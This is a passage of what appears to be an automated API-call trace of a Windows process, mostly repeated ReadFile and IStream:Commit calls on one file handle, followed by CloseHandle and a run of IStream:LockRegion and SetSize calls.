ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.086] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.086] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.087] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.087] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.089] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.089] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.090] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.090] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.091] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.091] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.092] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.092] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.092] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.092] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.092] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.092] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x0, lpOverlapped=0x0) returned 1 [0048.092] CloseHandle (hObject=0x3b8) returned 1 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef994) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97e) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97f) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97f) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0048.092] IStream:SetSize (This=0x76e060, libNewSize=0xef97f) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.092] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.092] 